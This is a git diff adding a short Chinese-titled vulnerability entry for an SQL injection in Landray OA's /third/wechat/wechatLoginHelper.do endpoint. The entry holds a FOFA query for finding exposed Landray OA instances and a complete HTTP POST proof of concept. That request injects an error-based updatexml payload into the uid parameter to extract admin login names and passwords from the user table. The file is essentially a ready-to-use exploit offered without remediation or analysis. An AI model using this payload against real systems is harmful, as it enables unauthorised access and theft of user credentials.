diff --git a/蓝凌OA-WechatLoginHelper.do存在SQL注入漏洞.md b/蓝凌OA-WechatLoginHelper.do存在SQL注入漏洞.md
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+## 蓝凌OA-WechatLoginHelper.do存在SQL注入漏洞
+
+## fofa
+```
+app="Landray-OA系统"
+```
+
+## poc
+```
+POST /third/wechat/wechatLoginHelper.do HTTP/1.1
+Host: xxx.xxx.xxx.xxx
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.850.132 Safari/537.36
+Content-Length: 254
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Accept-Encoding: gzip
+ 
+method=edit&openid=&nickname=&image=&uid=123'and updatexml(1,concat('~',(select concat('~',test.fdLoginName,'~',test.fdPassword,'~') from com.landray.kmss.sys.organization.model.SysOrgPerson test where test.fdLoginName like '%25admin12%25'),'~'),1)=1-- '
+```